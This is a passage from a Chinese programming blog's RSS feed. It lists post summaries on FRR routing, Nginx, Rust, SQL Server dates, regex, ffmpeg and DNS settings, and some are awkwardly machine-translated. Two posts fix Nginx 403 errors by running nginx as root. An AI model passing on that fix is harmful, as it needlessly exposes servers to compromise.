首先，我们需要在两个主机上都安装FRR软件包。 可以按照FRR官方文档中的说明进行操作。 启用IP转发 对于路由，我们需要在两个主机上都启用IP转发，因为这将由Linux内核执行。 sysctl -w net.ipv4.conf.all.forwarding = 1 sysctl -w net.ipv6.conf.all.forwarding = 1 sysctl -p 启用RIPD守护程序 安装后，所有配置文件都将存储在/ etc / frr目录中。 必须通过编辑/ etc / frr / daemons文件显式启用守护程序 。 该文件确定启动FRR服务时激活了哪些守护程序。 要启用特定的守护程序，只需将相应的“否”更改为“是”。 随后的服务重新启动应启动守护程序。 防火墙配置 由于RIP协议使用UDP作为其传输协议并分配了端口520，因此我们需要在firewalld配置中允许该端口。 firewall-cmd --add-port = 520 / udp –permanent firewalld-cmd -reload 现在，我们可以使用以下命令启动FRR服务： systemctl start frr 使用VTY进行配置 现在，我们需要使用VTY Shell配置RIP。 在主持人Alpha上： [ root @ alpha ~ ] # vtysh Hello, this is FRRouting ( version 7.</description>
    </item>
    <item>
      <title>Nginx学习-5  centos7部署html项目</title>
      <link>https://bchobby.github.io/posts/e1302ccc2f64b24b58ae3beb110fda70/</link>
      <pubDate>Fri, 17 Jul 2020 12:11:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1302ccc2f64b24b58ae3beb110fda70/</guid>
      <description>1.在centos7创建文件夹/root/dist&#xA;2.把html项目代码放在/root/dist/下&#xA;3.配置nginx文件&#xA;这里需要注意的是user 配置为root，否则启动之后无访问权限&#xA;查看nginx配置是否正确&#xA;nginx -t&#xA;正确之后重启nginx -s reload&#xA;然后就可以重启访问自己配置的域名了</description>
    </item>
    <item>
      <title>rust vs java_为什么我喜欢以Java程序员的身份学习Rust</title>
      <link>https://bchobby.github.io/posts/5b00ac7f2998f37091cf99b1b4ce1948/</link>
      <pubDate>Fri, 17 Jul 2020 11:52:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b00ac7f2998f37091cf99b1b4ce1948/</guid>
      <description>rust vs java&#xA;自从我正确地学习了计算机或人类这门新语言以来，已经很长时间了。 也许25年。 那是Java语言，尽管与此同时我不得不写一点点C（很少）和JavaScript，但我写过很多实际代码的唯一两种语言是Perl和Java。 我是一个名为Enarx的项目的联合创始人，该项目几乎完全用Rust编写。 这些天来，我称自己为“建筑师”，距离我编写任何生产代码已经很长时间了。 在2019年圣诞节之前，我完成了我几年来写的第一个重要项目：围绕Java专利申请实现一组算法。 这是让我重新投入代码的好机会，对此我感到非常满意。 从具有强大的面向对象背景的Java开发人员的角度来看，这是我对Rust的一些想法。 1. Rust感到很熟悉 尽管您会发现许多教程和书籍都是用C和C ++编写的，但是Java与Java的相似性足以使通用语言感到熟悉。 我使用最多的两个教程是Rust编程语言 （在线）和规范的Rust书籍（采用死树格式），后者经常引用与其他语言的相似之处和不同之处，不仅包括C，C ++和Java，以及Python，JavaScript等。 诸如控制结构和类型之类的东西与Java足够相似，它们通常很容易理解，尽管存在一些主要差异，但是您应该能够很轻松地理解该语言的基础知识。 但是要当心：我一直遇到的最大的初始问题之一是Rust有时感觉太熟悉了，所以我开始尝试以错误的方式做事，不得不退后一步，尝试找到对Rust更加惯用的方法。 我还有很长的路要走！ 2.引用很有意义 在Rust中，您最终不得不使用引用，即通过内存地址访问数据。 坦白说，当我查看C或C ++时，引用和取消引用变量对我来说从来没有多大意义，但是这次，我感觉很明白。 如果您习惯于通过引用和值传递Java变量，并且知道何时需要采取措施在特定情况下以不同的方式进行操作，那么您就可以开始理解Rust引用了。 您需要了解的另一件事是Rust 为什么需要使用它们：这是因为Rust对内存管理非常非常小心，而且无论走到哪里都没有垃圾回收器可以清理（就像Java中一样） 。 您不能在willy-nilly周围传递字符串：例如，Rust会坚持要求您知道变量的生命周期，并考虑何时可以“删除”该变量。 这意味着您需要认真考虑范围，并且引入了一个复杂的概念：所有权。 3.所有权会很有意义 老实说，我还没到。 我已经在Rust中学习和编码了不到两个星期，并且我开始着手解决所有权问题。 对于我（我怀疑，对于许多新手来说），这是从Java或大多数其他语言（所有权）转向Rust的重大转变。 如前所述，您需要了解何时使用变量以及变量可以使用多长时间。 但是，它还不止这些，对于Java开发人员来说，真正获得它对于我来说有点陌生：您需要了解栈和堆 ，这是Java充分掩盖了我的区别，但是许多C和C ++开发人员可能会更容易理解。 这里不是解释这个概念的地方（我发现Rust编程中的图表特别有用），但是为了管理内存中变量的生命周期，Rust需要知道每个组件拥有什么组件。 当您习惯于创建对象并使用来自各处的变量实例化它们时（例如在Java中），这变得很复杂，并且需要进行一些重要的重新思考。 将其与生命周期的明确标记相结合是我现在必须执行的最大的概念更改。 4.货运很有帮助 货物二进制文件只做正确的事情，例如，当它意识到您已经对依赖项进行了更改时，看到它完成其工作就令人惊讶。 它会执行自动测试，自动优化，生成文档-这么多有用的任务，全部都在一个软件包中。 将其与Git存储库结合使用，项目管理将变得更加简洁明了。 5.编译器很棒 最后但最不重要的是编译器。 我喜欢Rust编译器：它确实在尽力帮助您。 制作和维护Rust的社区1的成员显然会竭尽所能，为您在犯错时纠正您提供有用的指导，而我（其中一个）就犯了很多错误。 而不是其他语言的编译器可能会熟悉的口头声明，您将获得带有颜色，警告和错误的色编码文本，以及有关您可能实际尝试执行的操作的建议。 您甚至会得到如下输出： For more information about this error , try rustc -- explain E0308 当您尝试这样做时，您（通常！）会获得有用的解释和代码段。 有时，尤其是当您仍在使用该语言的时候，并不是总是很清楚您在做错什么，但是淡入错误中可以帮助您以与消息完全不同的方式来理解概念。例如，我习惯于从javac工具获取信息。 结论 我不希望写大量的Rust产品，也不要真正地达到大师的地位（老实说，用Rust或任何其他语言），但是我真的认为Rust可以说很多。 纵观我的旅程，到目前为止，我一直在点头我的头和思考，“这是一个好办法做到这一点”，或者“啊，才使得这么多比我习惯的方式更有意义。” 这不是一篇关于Rust 为什么这么好用的语言的文章-那里有很多-也不是学习Rust的最佳方法-也有很多这样的书，但是我可以说我很享受。 这是具有挑战性的，但是教程，书籍和其他学习材料都擅长的一件事就是解释Rust做出选择的原因，这对我来说既有帮助，也可以帮助我解决挫败感，也可以尝试内部化。 Java和Rust之间的一些区别。 如果我能真正投入到Rust中，说实话，我认为我不可能再写任何Java了。 我不确定我还有25年的编码经验，但是我认为我现在和Rust一起工作很长一段时间。 我是Rustacean（萌芽）。 1.</description>
    </item>
    <item>
      <title>R语言 legend() 图例设置</title>
      <link>https://bchobby.github.io/posts/ddff9600fb166e227600fd6b3106246c/</link>
      <pubDate>Fri, 17 Jul 2020 00:50:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddff9600fb166e227600fd6b3106246c/</guid>
      <description>legend(x, y = NULL, legend, fill = NULL, col = par(“col”),&#xA;border = “black”, lty, lwd, pch,&#xA;angle = 45, density = NULL, bty = “o”, bg = par(“bg”),&#xA;box.lwd = par(“lwd”), box.lty = par(“lty”), box.col = par(“fg”),&#xA;pt.bg = NA, cex = 1, pt.cex = cex, pt.lwd = lwd,&#xA;xjust = 0, yjust = 1, x.intersp = 1, y.intersp = 1,&#xA;adj = c(0, 0.5), text.width = NULL, text.</description>
    </item>
    <item>
      <title>SQL Server获取当年第一天当年最后一天当月第一天当月最后一天</title>
      <link>https://bchobby.github.io/posts/c9c48feeb7c6b882882ef2196629e04f/</link>
      <pubDate>Thu, 16 Jul 2020 23:57:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9c48feeb7c6b882882ef2196629e04f/</guid>
      <description>SQL Server 对日期的操作函数的使用 在编写sql的时候，会碰到对日期的处理，特别是日期区间对业务数据的限制。&#xA;如：用户数据的是一个固定月份 2020-03 这个时候需要匹配数据就是2020-03-01 ~ 2020-03-31的数据。对于此类处理，就需要编写sql的人员进行运算转化出两个日期去限制数据区间了。&#xA;网上搜了一些处理方式，大部分都是拼接而成，在各种比较下，如下的处理方式比较合理与准确。&#xA;--当前日期 select getdate() CurrentDate; --当月第一天 select dateadd(day,-day(getdate())+1,getdate()) current_Month_FirstDay; --当月最后一天 select dateadd(month,datediff(month,0,dateadd(month,1,getdate())),-1) current_Month_EndDay; --当年第一天 select dateadd(YEAR,datediff(YEAR,0,getdate()),0) current_Year_FirstDay; --当年最后天 select dateadd(YEAR,datediff(YEAR,0,dateadd(YEAR,1,getdate())),-1) current_Year_EndDay; --下年第一天 select dateadd(YEAR,datediff(YEAR,0,dateadd(YEAR,1,getdate())),0) next_Year_Firstday; --下年最后一天 select dateadd(YEAR,datediff(YEAR,0,dateadd(YEAR,2,getdate())),-1) next_Year_Endday; --上年第一天 select dateadd(YEAR,datediff(YEAR,0,dateadd(YEAR,-1,getdate())),0) last_Year_Firstday; --上年最后一天 select dateadd(YEAR,datediff(YEAR,0,getdate()),-1) last_Year_Endday; 解释：&#xA;0 表示1990-01-01， datediff(YEAR,0,getdate()) 表示1990到当前日期是多少年 dateadd(YEAR,datediff(YEAR,0,getdate()),0) 表示从1990年加datediff(YEAR,0,getdate()) 年，刚好就是当前日期所在年度的一月一号 其他的几种表示方式，以此思路类推，包括month，day等关键词&#xA;介绍两个重要的函数（DATEDIFF 、DATEADD）&#xA;DATEDIFF (Transact-SQL)&#xA;此函数返回指定的 startdate 和 enddate 之间所跨的指定 datepart 边界的计数（作为带符号整数值） 。 语法 DATEDIFF ( datepart , startdate , enddate ) 参数</description>
    </item>
    <item>
      <title>作为一名程序员，最大的成就感来自哪里？</title>
      <link>https://bchobby.github.io/posts/fc740bb02d1f998ce6f9ce332961d6c9/</link>
      <pubDate>Thu, 16 Jul 2020 18:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc740bb02d1f998ce6f9ce332961d6c9/</guid>
      <description>今天看知乎的时候，看到这样一个问题：“作为一名程序员，最大的成就感来自哪里？” 下面有一条回答蛮有意思的，拿出来跟大家分享一下。&#xA;其实，程序员更愿意自己被称为开发者，因为最大的成就感，就是来自开发、创造、改变。&#xA;我们是开发者，是一群用自己的双手构建新世界的人，看到自己的造物，成功运转，成就感自然就会瞬间充斥全身。&#xA;在普通人眼里，在如今这个数字化的世界中，程序员已经越来越接近无所不能的“造物主”。&#xA;隔壁刘叔叔、村头张大妈的电脑蓝屏了，第一时间想起的可能就是我们程序员。&#xA;想创业做电商的张三，可能第一个找的也是程序员，搂着肩膀问你能不能 2 天做一个百度，一周做一个淘宝，预算 5000。&#xA;公司漂亮的行政小姐姐，需要把几百个不同的兑换码，用邮件分别发给公司几百员工时，第一个想起的还是程序员。&#xA;有时，程序员还是希望大家忘记自己，比如张三和隔壁刘叔叔、村头张大妈的事情。&#xA;但对于行政小姐姐，程序员写个简单脚本，就能解决他们需要花费数周才能搞定的工作。&#xA;生活中，这类情况屡见不鲜。&#xA;就比如，你想把自己网易云上的歌单，喜欢的歌曲统统搬运到QQ音乐上。&#xA;假设你只需要搬运 3-5 首音乐，那人肉操作就可以了，但倘若你要搬运 300-1000 首呢？&#xA;有程序员给出了答案：做个小软件，爬一下网易云歌单，然后登陆 QQ 音乐后搜索并添加不就完事了？&#xA;热心的程序员用 Python 快速地做了出来，并且放到了 GitHub 上，可以在 1 分钟左右配置完毕，代码也易懂，推荐新手阅读代码。&#xA;传送门：&#xA;https://github.com/Denon/syncPlaylist/blob/master/README_CN.md&#xA;瞧，利用编程，就可以帮自己和朋友们节省机械化操作，不再一边气得骂骂咧咧，又不得不继续搬运。甚至都不需要有多么高深的水平，只要入门级别的程序员就能做出类似的工具。&#xA;这就是技术最好的使用场景，用技术来替代人类，去完成那些枯燥乏味的工作。&#xA;编程语言的学习过程，也是充满了成就感。&#xA;就例如非常简单的 Python。&#xA;想要高效学习 Python，必然是要伴随着实践，先为自己输入一些知识，随后在符合自己能力范围内去尝试使用这些知识。&#xA;当你让字母成功组合，发挥出神奇功效时，你一定会知道什么是成就感。&#xA;就像你当初第一次打开电脑连接网络，随后就打开了新世界的大门。&#xA;如果你刚刚入门 Python，那强烈建议你来试试这 20 个“小玩具”，可以给你刚学会的知识一个用武之地，让你的知识可以变成生产力。相信我，当你掌握其中某一项时，你就再也不发愁成就感的来源了。&#xA;1. batch_file_rename.py - 批量重命名指定目录下面所有文件的后缀名。&#xA;2. create_dir_if_not_there.py - 检查用户主目录中是否存在目录，如果不存在则创建目录。&#xA;3. Fast Youtube Downloader- 使用aria2c多线程快速下载YouTube视频。&#xA;4. Google Image Downloader- 查询指定词语并从Google中下图。&#xA;5. dir_test.py 测试目录是否testdir存在，如果不存在，它将为您创建目录。&#xA;6. env_check.py -将检查是否已设置所需的所有环境变量。</description>
    </item>
    <item>
      <title>你人为新闻、社交、短视频类的APP会让人思想进步吗？</title>
      <link>https://bchobby.github.io/posts/67044c56410895a40858c002deda642a/</link>
      <pubDate>Thu, 16 Jul 2020 17:04:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67044c56410895a40858c002deda642a/</guid>
      <description>这个命题应该是仁者见仁智者见智吧。现在无论是新闻、社交、短视频都是个性推荐。有些人喜欢八卦、有些人喜欢美女，正所谓萝卜白菜各有所爱。无论是新闻、社交、短视频都有很多正能量的内容，如果你经常耍一些正能量的内容，那还是很有帮助。利用碎片化时间看一些时事新闻、看一些古诗词、看一些跟自己行业相关的信息还是能带来不小的收获。只要不是贪图享受短暂的快乐，我觉得都能带来一些进步的思想。</description>
    </item>
    <item>
      <title>关于获取文件时候报403问题</title>
      <link>https://bchobby.github.io/posts/c2e1f10b201642d973ff3099422d9005/</link>
      <pubDate>Thu, 16 Jul 2020 16:19:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2e1f10b201642d973ff3099422d9005/</guid>
      <description>1问题&#xA;Failed to load resource: the server responded with a status of 403 (Forbidden) 原因Nginx 访问权限&#xA;解决方法&#xA;解决办法时设置nginx的用户user为root&#xA;设置nginx.conf 的user root;&#xA;设置完后重启Nginx</description>
    </item>
    <item>
      <title>正则表达式：匹配第一次出现的字符</title>
      <link>https://bchobby.github.io/posts/0e8f22213cbcedac13bb3d59ad678fd1/</link>
      <pubDate>Thu, 16 Jul 2020 15:07:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e8f22213cbcedac13bb3d59ad678fd1/</guid>
      <description>本文翻译自：Regex: matching up to the first occurrence of a character&#xA;I am looking for a pattern that matches everything until the first occurrence of a specific character, say a &#34;;&#34; 我正在寻找一个匹配所有内容的模式， 直到第一次出现特定字符，比如“;” - a semicolon . - 分号 。 I wrote this: 我写了这个： /^(.*);/ But it actually matches everything (including the semicolon) until the last occurrence of a semicolon. 但它实际上匹配所有内容（包括分号），直到最后一次出现分号。 #1楼 参考：https://stackoom.com/question/8Rhk/正则表达式-匹配第一次出现的字符&#xA;#2楼 &#34;/^([^\\/]*)\\/$/&#34; worked for me, to get only top &#34;</description>
    </item>
    <item>
      <title>mybatis-plus坑系列（一）mybatis-plus在使用多个mapper时报错（已解决）</title>
      <link>https://bchobby.github.io/posts/990eff9e51e2f9582b29c6bc6bbbce3d/</link>
      <pubDate>Thu, 16 Jul 2020 11:48:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/990eff9e51e2f9582b29c6bc6bbbce3d/</guid>
      <description>本人用：mybatis-plus 3.2.0 在启动类中XXXXApplication加入&#34;com.baomidou.mybatisplus.core.mapper&#34;&#xA;@MapperScan(value={&#34;xxxxx.xxxxx&#34;,&#34;com.baomidou.mybatisplus.core.mapper&#34;})&#xA;原文：https://blog.csdn.net/MyfishCake/article/details/107048159</description>
    </item>
    <item>
      <title>设置成功的开源计划办公室（OSPO）的指南</title>
      <link>https://bchobby.github.io/posts/4a1257175b06b720edb80a48c2c6890a/</link>
      <pubDate>Wed, 15 Jul 2020 23:22:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a1257175b06b720edb80a48c2c6890a/</guid>
      <description>公司创建了开放源代码计划办公室（OSPO），以管理其与所依赖的开放源代码生态系统的关系。 通过了解公司的开源生态系统，OSPO可以最大化公司的投资回报率，并降低使用，贡献和发布开源软件的风险。 此外，由于公司依赖其开源生态系统，因此，确保其健康和可持续性将确保公司的健康，可持续增长和发展。 OSPO如何对公司及其开源生态系统变得至关重要？ 马克·安德森（Marc Andreessen）曾说过“软件正在吞噬世界”，最近，可以说开源正在吞噬软件世界。 但是，该过程如何进行？ 从OSS入站的角度来看，公司使用它来构建自己的解决方案和自己的基础架构。 之所以引入OSS，是因为OSS是其技术提供商使用的代码的一部分，或者是因为其自己的开发人员向公司的信息技术（IT）基础架构添加了开源组件。 从OSS出站角度来看，一些公司为OSS项目做出了贡献。 这种贡献可能是公司对解决方案的要求的一部分，而这些解决方案需要在上游项目中进行某些修复。 例如，三星为某些与图形相关的项目做出了贡献，以确保其硬件在进入市场后就具有软件支持。 在另一些情况下，为OSS做出贡献是一种通过允许人们为不同于日常工作的项目做出贡献而留住人才的机制。 一些公司发布自己的开源项目作为出站OSS流程。 对于像Red Hat或GitLab这样的公司，这是可以预期的。 但是，越来越多的非软件公司发布了许多OSS，例如Lyft。 OSS入站和出站流程 最终，入站和出站OSS流程中涉及的所有这些项目都是公司的OSS生态系统。 像任何生物一样，公司的健康和可持续性也取决于周围的生态系统。 OSPO职责 跟随物种及其生态系统，OSPO团队中的工作人员可以被视为组织OSS生态系统中的护林员。 他们照顾生态系统及其与公司的关系，以保持一切健康和可持续。 当公司使用开源软件项目时，他们需要了解许可证和合规性，检查项目的运行状况，确保不存在安全漏洞，并在某些情况下确定有才华的社区成员以进行潜在的招聘流程。 当公司为开源软件项目做出贡献时，他们需要确保没有知识产权（IP）问题，以确保公司的贡献和在项目中的领导地位，有时还需要帮助人才与他们保持联系公司通过他们的贡献。 当公司发布并维护开源项目时，他们负责确保社区参与和发展，检查是否存在IP问题，确保公司保持足迹和领导地位，并可能吸引新的人才到公司。 您是否了解OSPO团队所需的全部技能？ 当我问过OSPO工作人员的团队规模时，每1000名开发人员中大约有1-5人。 这是一个很小的团队，负责监视很多人及其潜在的OSS相关活动。 如何管理OSPO 有了OSPO中的所有这些活动，人们的思想和他们需要担心的所有资源，他们如何能够管理所有这些？ 至少有几个开源社区为他们提供了宝贵的知识和资源： TODO Group是“一个开放的公司集团，希望就实践，工具和其他方式进行合作，以运行成功且有效的开源项目和程序。” 例如，他们拥有一整套针对OSPOS公司的指南以及最佳实践。 CHAOSS（用于开源软件的社区健康分析）社区开发了用于管理开源项目的健康和可持续性的指标，方法和软件。 （请参阅下面有关CHAOSS的活跃社区和工作组的更多信息）。 OSPO经理需要向公司其他部门报告大量信息，以回答与他们的OSS入站和出站流程相关的许多问题，即，我们在组织中使用的是哪个项目？ 这些项目的健康状况如何？ 这些项目的关键人物是谁？ 我们为哪些项目做出贡献？ 我们发布了哪些项目？ 我们如何处理社区贡献？ 谁是关键贡献者？ 数据驱动的OSPO 正如威廉·爱德华兹·戴明（William Edwards Deming）所说：“没有数据，您只是一个有意见的人。” 发表意见并不是一件坏事，但是基于数据发表意见无疑会更容易理解，讨论和确定最适合您的公司及其目标的流程。 推荐使用CHAOSS社区，以获取有关度量标准策略和工具的指南。 最近，CHAOSS社区发布了一组新的度量标准定义 。 这些指标只是每个工作组（WG）重点领域中讨论的所有指标的子集： 通用工作组 ：定义两个工作组使用的或对社区健康很重要的指标，但这些指标不能完全适合其他现有工作组之一。 关注的领域包括组织隶属关系，响应能力和地理覆盖范围。 多样性和包容性工作组 ：收集关于开源项目中的多样性和包容性的经验，其目的是从质和量的角度理解如何衡量多样性和包容性。 Evolution WG ：改进可告知演化并与软件实现一起使用的指标。 风险工作组 ：完善可告知风险并与软件实施一起使用的指标。 价值工作组 ：专注于开放源代码中经济价值的行业标准指标。 他们的主要目标是发布可信赖的行业标准价值指标，这是一种用于软件开发的S＆P，并且是有关指标重要性和行业规范的权威来源。 在加工方面，项目一样， 预言者 ， Cregit和GrimoireLab是与OSPO活动的参考工具，报告这些指标，但也有许多人。 它们也是OSS社区（如Cauldron.</description>
    </item>
    <item>
      <title>Ubuntu上安装ffmpeg</title>
      <link>https://bchobby.github.io/posts/5e9a9a189ec941928ccd852c2d793578/</link>
      <pubDate>Wed, 15 Jul 2020 16:17:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e9a9a189ec941928ccd852c2d793578/</guid>
      <description>简易安装方式 安装 sudo apt-get install ffmpeg 版本查看 ffmpeg -v ffmpeg version 3.4.6-0ubuntu0.18.04.1 Copyright (c) 2000-2019 the FFmpeg developers built with gcc 7 (Ubuntu 7.3.0-16ubuntu3) 卸载 此卸载方法只适用于刚刚那条简易安装指令，如果通过其他方法安装，该指令不适用。&#xA;sudo apt-get purge ffmpeg 以上安装方法有一个问题，就是ffmpeg版本很低（目前用该命令安装的ffmpeg为3.4.6），与官网最新稳定版差距很大（大版本已到4以上），在一些底层操作上可能会有出入，例如读取某个视频时就会出现两个版本读出来帧数不一致的问题。所以尽量还是从ffmpeg官网下载最新稳定版手动安装。&#xA;官网下载最新包安装 解压 tar -xvf ffmpeg_4.2.2.orig.tar.xz 安装yasm sudo apt install -y yasm 设置编译项 基础选项：&#xA;./configure --enable-shared --prefix=/usr/local/ffmpeg 额外增加H264支持（可能需要额外安装，参考这里）：&#xA;./configure --prefix=/usr/local/ffmpeg --enable-shared --disable-static --disable-doc --enable-gpl --enable-libx264 如果需要额外增加GPU（CUDA）加速支持，则需要在尾部增加：&#xA;--enable-cuda --enable-cuvid 同时下载并编译安装 FFmpeg NVIDIA headers (“ffnvcodec”)：&#xA;git clone https://git.videolan.org/git/ffmpeg/nv-codec-headers.git cd nv-codec-headers (# 有多个分支，根据GPU驱动版本可能需要切换分支，如git checkout sdk/9.</description>
    </item>
    <item>
      <title>项目：继续与Middleman建立我们的网站</title>
      <link>https://bchobby.github.io/posts/6fe922c3961f5d6d4005664d9fab7e57/</link>
      <pubDate>Wed, 15 Jul 2020 09:51:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fe922c3961f5d6d4005664d9fab7e57/</guid>
      <description>在本教程中，我们将继续构建播客站点。 我们将开始设计帖子索引的样式，创建一个漂亮的小页脚，并在混合中添加一些颜色。 所有这些都使用Sass和Bourbon套件。 我们的职位索引 是的，我们在哪里？ 目前，我们的网站看起来还不太好： 目前，我们的帖子除了左侧没有对齐之外，因此我们需要一个网格来修复此混乱情况。 我们心爱的波旁王朝整装待发 ！ 首先，我们将添加一个类posts作为我们的帖子的包装，并使其成为在页面上居中放置内容的outer-container 。 在“ source / index.html.erb”中： &amp;lt;div class=&#34;posts&#34;&amp;gt; &amp;lt;% page_articles.each_with_index do |article, i| %&amp;gt; &amp;lt;h2&amp;gt;&amp;lt;%= link_to article.title, article %&amp;gt; &amp;lt;span&amp;gt;&amp;lt;%= article.date.strftime(&#39;%b %e&#39;) %&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/h2&amp;gt; &amp;lt;!-- use article.summary(250) if you have Nokogiri available to show just the first 250 characters --&amp;gt; &amp;lt;%= article.body %&amp;gt; &amp;lt;% end %&amp;gt; &amp;lt;/div&amp;gt; 然后，我们需要为索引样式创建一个新的Sass部分，并应用一些魔术，因此在“ source / stylesheets / all.sass”中： @import &#39;index_posts&#39; 在“ source / stylesheets / _index_posts.</description>
    </item>
    <item>
      <title>大数据——一维数组</title>
      <link>https://bchobby.github.io/posts/3bd2e8e5624979d28b977bdec495e293/</link>
      <pubDate>Wed, 15 Jul 2020 09:47:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bd2e8e5624979d28b977bdec495e293/</guid>
      <description>一维数组 理解数组定义数组数组元素的表示和赋值数组的初始化遍历数组示例一示例二示例三示例四示例五 增删改查数组增加元素数组删除元素 理解数组 在Java中，数组是用来存储一组相同类型数据的数据类型。当数组初始化完毕后，java为数组在内存中分配一段连续的空间，其在内存中开辟的空间也将之固定，此时数组的长度就不能再发生改变。即使数组中没有保存任何数据，数组所占据的空间依然存在。（现在所说的数组暂时都是一维数组）&#xA;定义数组 在Java中，定义数组的语法有如下两种。&#xA;数据类型[] 数组名=new 数据类型[数组长度];&#xA;或者：&#xA;数据类型 数组名[]=new 数据类型[数组长度]&#xA;定义数组时一定要指定数组名和数组类型。&#xA;必须书写“[]”，表示定义了一个数组，而不是一个普通的变量。&#xA;“[数组长度]”决定连续分配的空间的个数，通过数组的length属性可获取此长度。&#xA;数组的类型数据用于确定分配的每个空间的大小。&#xA;//声明 int[] a; String b[]; double []c; //分配空间,使用new关键字来分配空间， //new关键字是java中优先级最高的。 a=new int[5]; b=new String[6]; c=new double[4]; 数组元素分配的初始值&#xA;1.数组元素的类型是基本类型中的整数类型（byte、short、int和long），则数组元素的值是0。&#xA;2.数组元素的类型是基本类型中的浮点类型（float、double），则数组元素的值是0.0。&#xA;3.数组元素的类型是基本类型中的字符类型（char），则数组元素的值是’\u0000’。&#xA;4.数组元素的类型是基本类型中的布尔类型（boolean），则数组元素的值是false。&#xA;5.数组元素的类型是引用类型（类、接口和数组），则数组元素的值是null。&#xA;数组元素的表示和赋值 由于定义数组时内存分配的是连续的空间，所以数组元素在数组里顺序排列编号，该编号即元素下标，它标明了元素在数组中的位置。首元素的编号规定为0，因此，数组的下标依次为0、1、2、3、4······依次递增，每次增长数是1。数组中的每个元素都可以通过下标来访问。&#xA;获得数组元素的语法格式如下。&#xA;数组名[下标值]&#xA;//赋值 a[0]=10; a[1]=14; a[2]=18; a[3]=24; a[4]=33; a[5]=45; 数组的初始化 所谓的数组的初始化，就是在定义数组的同时一并完成赋值的操作。&#xA;数组初始化的语法格式如下、&#xA;数据类型[]数组名={值1，值2，值3，······，值n}；&#xA;或者：&#xA;数据类型[]数组名=new 数据类型[]{值1，值2，值3，······，值n}；&#xA;//声明的同时分配空间 char[] ch=new char[10]; float f[]={11.1f,22.2f};//声明、分配空间并赋值 int []d=new int[]{1,2,3}; 遍历数组 在编写程序时，数组和循环往往结合在一起使用，可以大大的简化代码，提高程序编写效率。通常使用for循环遍历数组。&#xA;示例一 Text1：计算30位同学的平均分，同时打印每一个分数。</description>
    </item>
    <item>
      <title>解决MAC上网速度慢的原因</title>
      <link>https://bchobby.github.io/posts/4271a469514c46b0b47e8e8074214020/</link>
      <pubDate>Wed, 15 Jul 2020 09:47:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4271a469514c46b0b47e8e8074214020/</guid>
      <description>参考：https://blog.csdn.net/u014544346/article/details/51347285&#xA;现象描述：&#xA;LZ平时用Mac上网速度一直不错&#xA;直到最近出差，那网速简直无法使用&#xA;奇怪的是，用LZ的华为手机上网速度还可以，Windows笔记本连上手机开的热点速度也还可以&#xA;唯独Macbook Pro连上手机开的热点速度特别烂&#xA;解决方法：&#xA;打开系统偏好设置，选择网络&#xA;在当前连接WiFi的情况下，选择高级&#xA;切换到DNS选项卡，若您的DNS服务器列表中有“8.8.8.8”域名，直接删除即可&#xA;点击好，应用即可&#xA;原因解释：&#xA;8.8.8.8DNS服务器的解析结果常将用户引导到较慢的网站&#xA;原因是大中型网站目前都使用CDN做内容分发，确保用户就近接入而提高访问速度&#xA;同样的内容如淘宝网页，深圳宽带用户访问的是淘宝在广东的服务器，北京宽带用户访问的是淘宝在北京的服务器&#xA;CDN是怎么做到就近接入的呢？关键就在于你用的DNS，你用哪个地方的DNS，互联网公司基本认为你就是那个地方的宽带用户&#xA;如果你将DNS写错了，比如深圳宽带用户将DNS填写成北京的DNS，那么无论你访问淘宝、新浪你都被引导到北京去，网速自然慢了许多&#xA;所以说，DNS是流量牵引器，必须选合适的&#xA;说回国内使用8888的坏处（8888是谷歌DNS服务器），你将DNS填8888，互联网公司都以为你是国外的用户，无法给你选出就近的服务器，随便给你个能用的就行了，你的网速自然慢了许多&#xA;如果你无法忍受国内运营商的DNS劫持，又想访问一些用国内运营商的DNS无法访问的网页，那可以使用114.114.114.114，它在国内有几十个点，能引导你到最近的网站，没有8.8.8.8的弊端</description>
    </item>
    <item>
      <title>ValueError: The two structures don‘t have the same sequence length.</title>
      <link>https://bchobby.github.io/posts/cbb7857cb44e02f6d938fb0852e97678/</link>
      <pubDate>Tue, 14 Jul 2020 19:23:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbb7857cb44e02f6d938fb0852e97678/</guid>
      <description>问题描述 环境： windows10&#xA;cuda 10.0&#xA;tensorflow 2.0&#xA;操作步骤 根据tf2.0模型导出导入学习，把训练好的模型导出来。&#xA;把刚刚导出的模型导入，进行测试&#xA;测试导入模型的时候，报错如下 报错摘要：ValueError: The two structures don’t have the same sequence length. Input structure has length 1, while shallow structure has length 2.&#xA;Traceback (most recent call last): File &#34;F:\Anaconda\install\lib\site-packages\tensorflow\python\eager\function.py&#34;, line 1204, in _convert_inputs_to_signature expand_composites=True) File &#34;F:\Anaconda\install\lib\site-packages\tensorflow\python\util\nest.py&#34;, line 833, in flatten_up_to check_subtrees_length=check_subtrees_length) File &#34;F:\Anaconda\install\lib\site-packages\tensorflow\python\util\nest.py&#34;, line 718, in assert_shallow_structure input_length=len(input_tree), shallow_length=len(shallow_tree))) ValueError: The two structures don&#39;t have the same sequence length. Input structure has length 1, while shallow structure has length 2.</description>
    </item>
    <item>
      <title>一个三节点的PVE 6.1&#43;CEPH集群，因为系统损坏，全部重新安装。</title>
      <link>https://bchobby.github.io/posts/9d9364111176271d99b0ae6bff5c656b/</link>
      <pubDate>Tue, 14 Jul 2020 18:55:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d9364111176271d99b0ae6bff5c656b/</guid>
